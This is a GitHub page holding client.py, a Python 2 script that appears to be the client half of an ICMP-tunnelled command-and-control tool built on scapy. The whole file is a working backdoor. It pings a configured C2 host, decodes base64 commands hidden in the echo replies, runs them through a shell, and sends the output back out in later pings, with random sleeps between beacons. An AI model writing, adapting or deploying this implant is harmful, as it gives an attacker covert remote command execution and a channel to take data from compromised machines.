-
Notifications
You must be signed in to change notification settings - Fork 6
/
client.py
51 lines (44 loc) · 1.57 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python2
from scapy.all import *
from os import system
from random import randrange
from base64 import b64encode, b64decode
from time import sleep
import c2_config
def send_ping(payload, icmp_id):
''' Send the call back ping. Response payload is the command to be executed '''
# Set up the packet with IP and ICMP headers, plus custom payload
packet_ip = IP(dst=c2_config.c2)
packet_icmp = ICMP(type=8,seq=1,id=icmp_id)
echo_reply = sr1(packet_ip/packet_icmp/payload,timeout=1)
# Strips the response payload from echo reply packet
if echo_reply:
return echo_reply[ICMP][Raw].load
def execute_command(cmd):
'''Execute command from c2'''
if cmd in "kill":
exit()
results = subprocess.Popen(cmd, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
parsed_results = results.stdout.read() + results.stderr.read()
return_payload = cmd + ' ' + str(parsed_results)
return return_payload
def main():
icmp_id = randrange(65535)
payload = ""
client_key = "0xdeadbeef"
server_key = "0xdeaddead"
while True:
c2_response = send_ping(client_key + payload, icmp_id)
if c2_response:
if len(c2_response) > 10 and c2_response[:10] == server_key:
payload = b64encode(execute_command(b64decode(c2_response[10:])))
else:
payload = ""
else:
payload = ""
sleep(randrange(31))
# sleep(1)
if __name__ == "__main__":
main()